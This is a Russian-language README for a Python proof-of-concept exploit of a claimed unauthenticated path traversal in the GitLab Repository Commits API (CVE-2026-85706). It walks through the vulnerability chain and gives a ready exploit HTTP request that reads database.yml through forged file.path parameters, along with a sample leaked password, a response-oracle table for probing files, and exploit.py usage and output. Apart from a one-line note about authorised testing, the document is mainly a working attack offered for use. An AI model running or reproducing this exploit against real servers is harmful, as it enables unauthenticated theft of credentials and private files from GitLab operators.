
Python PoC для CVE-2026-85706 — неаутентифицированный обход пути в GitLab CE/EE Repository Commits API, позволяющий утечку произвольных локальных файлов через четырёхсостоянийный оракул.
API «создание commit» в GitLab (POST /api/v4/projects/:id/repository/commits) позволяет передать в одном запросе содержимое множества файлов. Чтобы избежать попадания слишком больших тел запросов напрямую в парсер Rails, Workhorse сначала сохраняет тело запроса на диск во временный файл, а затем внедряет метаданные file.path / file.size и т. п. в пересылаемый запрос, и endpoint Rails считывает файл по этим параметрам. Цепочка уязвимости складывается из четырёх звеньев:
post ':id/repository/commits' содержит только require_gitlab_workhorse! (проверяет лишь «пересылку через Workhorse»), а настоящая authenticate! скрыта дальше в authorize_push_to_branch!, тогда как чтение с обходом пути происходит до неё.file_params_from_body_upload напрямую принимает параметры запроса file.path / file.size / Content-Type за метаданные, внедрённые Workhorse, не различая источник параметров, и File.read(file_path) позволяет обойти путь к любому локальному файлу.Content-Type=application/x-www-form-urlencoded содержимое файла передаётся на разбор в Rack::Utils.parse_nested_query; недопустимая %-последовательность в содержимом вызывает ArgumentError: invalid %-encoding (<содержимое компонента>), которое через bad_request! дословно отражается в ответ 400. Отражение работает по принципу «первый пришедший получает»: & / = являются границами компонентов, разбор прерывается на компоненте с первой недопустимой % и отражает этот компонент; при отсутствии разделителей весь файл отражается целиком как один компонент (корректные шестнадцатеричные escape-последовательности %xx ошибку не вызывают)..../repository/commits\z), и подделанные параметры поглощаются в содержимое сохранённого на диск файла. Добавление / в конец URL нарушает это совпадение, и запрос попадает в резервный подписывающий обратный прокси — исходное тело запроса вместе с подделанными параметрами дословно пересылается в Rails с действительным JWT, require_gitlab_workhorse! проходит; Grape после нормализации завершающего слэша всё равно попадает в уязвимый handler.Предварительное условие: :id в URL должен быть реально существующим проектом (подойдёт любой публичный проект), вход в систему на всём протяжении не требуется.
Эксплуатирующий запрос (database.yml при развёртывании с внешней БД; при наличии недопустимой %-последовательности в пароле отражается весь фрагмент):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Ответ (отражается весь компонент, содержащий первую недопустимую %):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
Чтение выполняется от имени пользователя git процесса Puma, а ответ образует четырёхсостояниевый oracle:
Фактически доступный для чтения диапазон при развёртывании по умолчанию (проверено на практике):
%: логи и артефакты сборки CI, загруженные пользователями вложения, database.yml при развёртывании с внешней БД. В database.yml при аутентификации по умолчанию через локальный socket peer поле пароля пустое, значение появляется только при развёртывании с внешней БД.gitlab.yml: в отрендеренных комментариях шаблона уже в начале файла (примерно строка 19) присутствуют последовательности вроде 95%, %{key}, тогда как конфигурация учётных данных (incoming_email, LDAP, объектное хранилище и т. д.) находится после строки 170 — принцип «первый пришедший получает» означает, что при развёртывании по умолчанию отражается только головной фрагмент, а фрагмент с учётными данными прочитать нельзя; он читается лишь в вариантах развёртывания без мешающих последовательностей (пользовательские шаблоны и т. п.). Отдельно отметим, что пароль SMTP (gitlab_rails['smtp_password']) не рендерится в gitlab.yml; фактически туда рендерятся учётные данные incoming_email, LDAP, object_store.secrets.yml состоит из чистого hex без %, содержимое прочитать нельзя (401); , приватные ключи TLS, архивы резервных копий доступны только root (лишь oracle 500).Реализация на стандартной библиотеке Python 3, без сторонних зависимостей. Скрипт автоматически интерпретирует четырёхсостояниевый результат согласно таблице выше.
python3 exploit.py -t http://<target>:<port> # по умолчанию читает gitlab.yml (быстрая проверка отражения)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
Пример вывода (чтение gitlab.yml при развёртывании по умолчанию — отражается головной фрагмент, а не фрагмент с учётными данными):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
Только для авторизованного тестирования безопасности и исследования уязвимостей.
| Ответ | Значение | Пример |
|---|
400 local file not present | файл не существует | /etc/nonexistent |
500 Internal Server Error | существует, но у пользователя git нет прав на чтение (необработанный Errno::EACCES); ошибки разбора читаемых файлов в ветке multipart также приводят к 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | существует и доступен для чтения, но содержимое не содержит недопустимых %-последовательностей и не отражается | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<содержимое>) | существует, доступен для чтения и содержит недопустимую %-последовательность — весь компонент отражается | логи с %, артефакты сборки CI, database.yml при внешней БД |
gitlab.rb/proc/self/*, вычисление путей @hashed по ID проекта для зондирования существования приватных проектов.| Параметр | Описание |
|---|
-t | Адрес целевого GitLab (обязательный), например http://<target>:<port> |
-f | Абсолютный путь для чтения (по умолчанию /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | ID проекта, подойдёт любой реально существующий проект (по умолчанию 1) |
-o | Сохранить прочитанное содержимое в локальный файл |